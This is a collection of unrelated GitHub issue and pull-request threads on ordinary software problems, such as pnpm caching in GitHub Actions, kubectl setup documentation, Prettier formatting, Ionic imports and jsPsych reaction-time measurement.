/usr/bin/ld: skipping incompatible /usr/aarch64-linux-gnu/lib/libdl.a when searching for -ldl
/usr/bin/ld: skipping incompatible /usr/aarch64-linux-gnu/lib/librt.so when searching for -lrt
/usr/bin/ld: skipping incompatible /usr/aarch64-linux-gnu/lib/librt.a when searching for -lrt
/usr/bin/ld: cannot find -lnvinfer
/usr/bin/ld: cannot find -lnvonnxparser
/usr/bin/ld: skipping incompatible /usr/aarch64-linux-gnu/lib/libpthread.so when searching for -lpthread
/usr/bin/ld: skipping incompatible /usr/aarch64-linux-gnu/lib/libpthread.a when searching for -lpthread
collect2: error: ld returned 1 exit status
CMakeFiles/demo.dir/build.make:951: recipe for target 'demo' failed
make[2]: *** [demo] Error 1
CMakeFiles/Makefile2:82: recipe for target 'CMakeFiles/demo.dir/all' failed
make[1]: *** [CMakeFiles/demo.dir/all] Error 2
Makefile:90: recipe for target 'all' failed
make: *** [all] Error 2

My system is below.
Ubuntu : 18.04
Cuda : 11.4
Cudnn : 8.3.2
TensorRT : <IP_ADDRESS>


Error: Unable to locate executable file: pnpm

Description
I was migrating my Yarn Project to PNPM, but my GitHub actions crashed with actions/setup-node.
Action version
v2 & v3
Platform

[ ] Ubuntu
[ ] macOS
[x] Windows

Runner type

[x] Hosted
[ ] Self-hosted

Tools version
PNPM 7.3.0
Repro steps
My migration of Workflow YAML shown below:
name: CI & CD
on:
    push:
        branches:
            - master
jobs:
    Build-and-Deploy:
        runs-on: ubuntu-latest
        steps:
            - uses: actions/checkout@v3
            - uses: actions/setup-node@v3
              with:
                  node-version: 14
-                 cache: yarn
+                 cache: pnpm
            - name: Install & Build
-             run: yarn  &&  yarn build
+             run: pnpm i  &&  pnpm build

Expected behavior
Actions run successfully as Yarn cached version
Actual behavior
Error thrown:

Found in cache @ /opt/hostedtoolcache/node/14.19.3/x64
Error: Unable to locate executable file: pnpm. Please verify either the file path exists or the file can be found within a directory specified by the PATH environment variable. Also check the file mode to verify the file is executable.

If I disable PNPM cache and install PNPM manually, it works for now:
name: CI & CD
on:
    push:
        branches:
            - master
jobs:
    Build-and-Deploy:
        runs-on: ubuntu-latest
        steps:
            - uses: actions/checkout@v3
            - uses: actions/setup-node@v3
              with:
                  node-version: 14
-                 cache: pnpm
+           - name: Install PNPM
+             run: npm i -g pnpm
            - name: Install & Build
              run: pnpm i  &&  pnpm build

Hello @TechQuery. Thank you for your report. It's an expected behaviour because pnpm should be preinstalled before the setup-node action. Please refer to the documentation for pnpm caching.
For now I'm going to close the issue.

@dmitry-shibanov , thanks for your answer, I fixed it with the Advanced Document.

Hello @TechQuery. Thank you for your report. It's an expected behaviour because pnpm should be preinstalled before the setup-node action. Please refer to the documentation for pnpm caching.
For now I'm going to close the issue.

Thank you, can you explain how to do this please. I am new to this.

can you explain how to do this please. I am new to this.

Here is an example for new guys: https://github.com/EasyWebApp/WebCell/blob/8d1df6ef74c8d0839fc441044669ec6706cdd88b/.github/workflows/main.yml#L13-L24


have colour coding for statuses

green - check mark
red - error
yellow - pending etc

CSS styles applied to status icons on incomplete records template.


Fix a couple test cases for Debian 12.

Most all modern distros now are going to have systemd-resovle and therefore that port is fairly normal.
There are still many failing test cases we're looking into.

/re-test

/lgtm


Insufficient or missing documentation

What happened?
Verify kubectl configuration, while installing kubernetes with 'Install kubectl binary with curl on Linux' as mentioned on url https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#verify-kubectl-configuration, the command kubectl cluster-info does come out with
The connection to the server server-name:port was refused - did you specify the right host or port?
There is no documentation on how to correct it or if there are any pre-installation configuration prerequisites required.
What did you expect to happen?
No errors
How can we reproduce it (as minimally and precisely as possible)?
'Install kubectl binary with curl on Linux' as mentioned on url https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#verify-kubectl-configuration, the command kubectl cluster-info
Anything else we need to know?
Nothing
Kubernetes version

latest
```console
$ kubectl version
# paste output here
```

Cloud provider
None installing from kubernetes.io on ubuntu 22

OS version

ubuntu latest
# On Linux:
$ cat /etc/os-release
# paste output here
$ uname -a
# paste output here

# On Windows:
C:\> wmic os get Caption, Version, BuildNumber, OSArchitecture
# paste output here

Install tools

curl

Container runtime (CRI) and version (if applicable)

None, only dockers latest version is installed on machine

Related plugins (CNI, CSI, ...) and versions (if applicable)

No plugins on machine, it is a fresh hypervisor ubuntu linux on windows11

Hey @dims, Can I work on this!

/assign

/language en
/sig docs
/priority awaiting-more-evidence

it is fresh ubuntu virtual machine on windows 11 hyper-v, latest cubectl
installed, attached is screen.
On Sat, Nov 11, 2023 at 8:47 PM ANKIT KUMAR @.***>
wrote:

/assign
—
Reply to this email directly, view it on GitHub
https://github.com/kubernetes/website/issues/43894#issuecomment-1807001959,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ATAH6GHZRWCFMRLZEF77VO3YEBIHFAVCNFSM6AAAAAA7HWXYN6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQMBXGAYDCOJVHE
.
You are receiving this because you authored the thread.Message ID:
@.***>

/retitle Inadequate troubleshooting guidance for  kubectl cluster-info error in 'Install and Set Up kubectl on Linux' page

Running copy of kube-up.sh fails,
sudo ./kube-up.sh
./kube-up.sh: line 33: ./../cluster/kube-util.sh: No such file of directory

/remove-lifecycle stale


How to block automatic new line creation?

Hello.
When I wrote

{upCells}

{valueCells}

{downCells}

prettier transforms it into:

						{upCells}

						{valueCells}

						{downCells}

How to block prettier from creating new line?
Thank a lot

This is not something we can't control.
But, there are some changes coming for JSX in next prettier version. https://github.com/prettier/prettier/pull/2442

Yes that works only if there is no other inclusion of tags in the jsx. I mean:
{test} stays inline but
{test}
 doesnt and render:

        {test}

Anyway I close the issue, I finally use only the default vscode formatter avtivating the vscode option "editor.formatOnSave": true.
Thank you for your time.


Add Tag attribute when recording locations

Pull Request Test Coverage Report for Build 1471

111 of 123 (90.24%)  changed or added relevant lines in 6 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+10.3%) to 50.75%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

library/src/main/java/io/ona/kujaku/services/TrackingService.java
70
72
97.22%

library/src/main/java/io/ona/kujaku/views/KujakuMapView.java
0
10
0.0%

Totals

Change from base Build 1464:
10.3%

Covered Lines:
2639

Relevant Lines:
5200

💛  - Coveralls


Serializers that allow creation of "normalized" structures.

With the advent and proliferation of SPA driven by javascript on the client side, response serializations has never been more critical.
Its extremely advantageous to have the ability for creating normalized responses that flatten nested structures into a database like syntax.
e.g.
[{
  id: 1,
  title: 'Some Article',
  author: {
    id: 1,
    name: 'Dan'
  }
}, {
  id: 2,
  title: 'Other Article',
  author: {
    id: 1,
    name: 'Dan'
  }
}]

Normalised into
{
  result: [1, 2],
  entities: {
    articles: {
      1: {
        id: 1,
        title: 'Some Article',
        author: 1
      },
      2: {
        id: 2,
        title: 'Other Article',
        author: 1
      }
    },
    users: {
      1: {
        id: 1,
        name: 'Dan'
      }
    }
  }
}

There are huge advantages to this and at present is often performed on the client side with libraries such as https://github.com/paularmstrong/normalizr
At present its not really possible to use Fractal Serializers to define this kind of structure.
From a brief overview we would need the ability to manage and create a custom Scope class? Or a complete re-think of how Fractal serializations occur (better IMO). Currently it is only possible to structure data in a nested hierarchy rather then having the ability to structure it in a "normalized" fashion as described above.

Well, its possible after all. If anyone is interested.. I could create a PR and cleanup the serializer...
https://gist.github.com/andrewmclagan/0b352aa21c48d912609a85a5b09e61b6
its somewhat messy. needs tests.

I'm about to tackle this issue myself in an SPA I'm working on. I'd be interested in having this functionality.

Updated the gist.


Penalty calculation

Hello, are you sure about the sign in these lines ?
if penalty is not None:
            step -= penalty

You multiply by -learn_rate next to make it -grad then at the snippet above step should be grad and penalty should be added with + sign. Is there is something I'm missing ? I've tried to set weight_decay to something below zero and this actually makes the weights shrink. If I set weight_decay to a large value > 0 then the weights explode.

Wow, this is a huge mistake. Thank you for inspecting the code so thoroughly! Fixed by commit 45cce4efbd94b00de0ba97590e7ea010dac43e68.


Generators so the whole dataset does not have to be in memory?

I'm heavily using toIterable()
However, EntityPreloader::preload() requires source entities as list so this cannot be done:
        $preloader = new EntityPreloader($entityManager);

        $entities = $entityManager->createQueryBuilder()
            ->select('e')
            ->from(E::class, 'e')
            ...
            ->getQuery()
            ->toIterable();

        $preloader->preload($entities, 'relation');

Is there a chance Generator input is supported in the future?

How would you expect that to work? The preload needs to iterate over the $entities making the toIterable() pointless.

Hm, I see. Currently toIterable() with addSelect()s for 1:n relations
is more optimal in my case but I appreciate an attempt to tackle the orm
issue.
On Tue, Oct 15, 2024 at 8:42 AM Jan Tvrdík @.***> wrote:

Closed #10
https://github.com/shipmonk-rnd/doctrine-entity-preloader/issues/10 as
not planned.
—
Reply to this email directly, view it on GitHub
https://github.com/shipmonk-rnd/doctrine-entity-preloader/issues/10#event-14651720362,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AACQAJMGOYPXOXKX2B5JWPTZ3S2NDAVCNFSM6AAAAABPYTITXSVHI2DSMVQWIX3LMV45UABCJFZXG5LFIV3GK3TUJZXXI2LGNFRWC5DJN5XDWMJUGY2TCNZSGAZTMMQ
.
You are receiving this because you authored the thread.Message ID:
<shipmonk-rnd/doctrine-entity-preloader/issue/10/issue_event/14651720362@
github.com>


Add Eve 20EBU4101

Device information

This is the US model of the Eve Energy Matter
Home Assistant Device information

Device info
Eve Energy 20EBU4101
by Eve Systems
Firmware: 3.2.1
Hardware: 1.1
Checklist

[x] I have created a single PR per device. When you have multiple submissions please create separate PR's.
[ ] For lights - I have only included the gzipped files (*.gz), not the raw CSV files.
[ ] For lights - I have provided a CSV file per supported color mode. Look that up in Developer Tools -> States

Additional info

Thanks


Revert "Ensure temp dir is different between testIncremental and testIncrementalDiagnostics to see if that fixes the test breakage in CI"

Reverts apple/swift-driver#374

@swift-ci please test


Cannot resolve symbol 'PushToken

Hi,
I'm attempting to setup push in my app.ts and following the 'Injecting Push' section in the documentation here: http://docs.ionic.io/services/push/#injecting-push
Problem I'm facing is in my import statement:
import {Deploy, CloudSettings, provideCloud, Push, PushToken} from '@ionic/cloud-angular';
The PushToken doesn't come up in autocomplete, shows up in red, and has an error "Cannot resolve symbol 'PushToken'".
I just updated ionic-cloud-angular to version 0.4.0 - that didn't help.
Here's my ionic info:
Cordova CLI: 6.1.1
Gulp version:  CLI version 3.9.0
Gulp local:   Local version 3.9.1
Ionic Framework Version: 2.0.0-beta.9
Ionic CLI Version: 2.0.0
Ionic App Lib Version: 2.0.0
ios-deploy version: 1.8.6
ios-sim version: 5.0.8
OS: Mac OS X El Capitan
Node Version: v5.10.1
Xcode version: Xcode 7.3 Build version 7D175
Please help :)
Thanks,
Amy

@amymarsh4work Just a docs update! You no longer need to import PushToken. Thanks for the issue, I'll fix up the docs.

Hmm, I'm not seeing this behavior. Can you confirm you have 0.9.0 of the cloud client?
npm ls --depth=0 | grep cloud

The command returned:
+--<EMAIL_ADDRESS>However, after I updated earlier today, I was seeing this:
--<EMAIL_ADDRESS>  --<EMAIL_ADDRESS>

Hey! I opened the project today and it's fine. I think Webstorm just needed to do whatever it needs to. Looks like updating fixed it but I needed to be patient.

Cool! Yeah I didn't notice anything wrong with a fresh install, so glad to know things are working! 👍

@dwieeb I am hitting this problem
[13:29:51]  typescript compiler ready in 7.39 s
[13:29:51]  bundle dev started ...
[13:29:55]  Error: Could not resolve '@ionic/cloud-angular' from /Users///repos/clientapp/.tmp/app/app.module.js
at Error (native)
output of npm ls --depth=0 | grep cloud
├──<EMAIL_ADDRESS>


Visibility of the post based on the distance of searched location.

Environment-Staging
Tested on Samsung Galaxy S8
Browser-Google chrome
Steps to create:
1.Create a post (Ex. Created  post on Request help ,Offer help each in location Bensalem,Pa,USA ).
2.Goto help board and search the same location.(ex: search as Bensalem, PA then post is visible in the help board.)
3.Search Nearby location Ex: Bristol,Pa (6 miles from Bensalem,Pa).
Expected Result:
Posts should be sorted based on the distance of searched location.
Actual Result:
Post created  is not visible in the help board. Even posts from Princeton(23 miles from bensalem) is visible.

@nivetheatha
Please check the location "visibility" of the post when it is created. If the visibility is set as "city" then the post only be visible when that particular city is selected. Mostly the post's visibility depends on the location visibility selected while post creation. Thanks

@rabbi08 Thanks for letting me know.


add the structure to control modifiable status by status

Initial version to control the restriction of property for each state for request in reqmgr2 interface.
@vkuznet, Valentin, I will add the code to get this from config (or db). Please review  that this is what you needed.

Seangchan, changes look fine to me.
Valentin

On Nov 30, 2015, at 11:51, ticoann<EMAIL_ADDRESS>wrote:
Initial version to control the restriction of property for each state for request in reqmgr2 interface.
@vkuznet, Valentin, I will add the code to get this from config (or db). Please review that this is what you needed.
You can view, comment on, or merge this pull request online at:
https://github.com/dmwm/WMCore/pull/6422
Commit Summary
add the structure to control modifiable status by status
File Changes
M src/python/WMCore/ReqMgr/DataStructs/RequestStatus.py (32)
Patch Links:
https://github.com/dmwm/WMCore/pull/6422.patch
https://github.com/dmwm/WMCore/pull/6422.diff
—
Reply to this email directly or view it on GitHub.

Seangchan, please check changes I made in #6425 . I didn't test them yet, but the logic should be fine. I read your list of attributes, put on top of table visible attributes, followed by invisible ones. Both PRs should come together in order to work.


Measure RT during several display changes.

I have a small question, but don't know if the Github issue board is the place to ask :). My question is related to #238, but that answer seems a bit outdated (there no longer is a single-stim plugin as far as I can see).
I want to show three displays in (short) succession, and start measuring RT from the onset of the first display. The trial procedure should terminate at any point that the participants press one of the response keys. So if the response is given while the second image is shown, the third display should be skipped, and preferably the display of the second image is stopped as well.
Is this possible in jsPsych? I tried the following, but no response is registered in this setup:
var slide1 = {
  type: 'image-keyboard-response',
  stimulus: jsPsych.timelineVariable('image1'),
  trial_duration: 500
}

var slide2 = {
  type: 'image-keyboard-response',
  stimulus: jsPsych.timelineVariable('image2'),
  trial_duration: 500
}

var slide3 = {
  type: 'html-keyboard-response',
  stimulus: '
AA
AA
',
  trial_duration: 2000
}

var stimulus = {
  type: 'image-keyboard-response',
  timeline: [slide1, slide2, slide3],
  choices: ['f', 'j'],
  data: jsPsych.timelineVariable('data'),
  on_finish: function(data){
    data.correct = data.key_press == jsPsych.pluginAPI.convertKeyCharacterToKeyCode(data.correct_response)
    console.log("Response was", data.correct)
  }
}

Could anyone point me in the right direction on how to tackle this, or tell me if it's possible at all?

I think you'll need to use a slightly more complicated structure where you nest each of the three slide objects on their own timeline so that you can use a conditional_function to check if there was a response to the previous trial before continuing to display the current trial.
The simplest way to do the continuous RT measure is probably just to add 500 if the RT is in the second trial, and add 1000 if it's in the third. This should be pretty accurate. If you are worried about the small amount of noise that might introduce then you might get more accurate RTs by looking at the time_elapsed variable that is automatically added to each data entry and you could calculate how long slide1 / slide2 displayed. It should be very close to 500.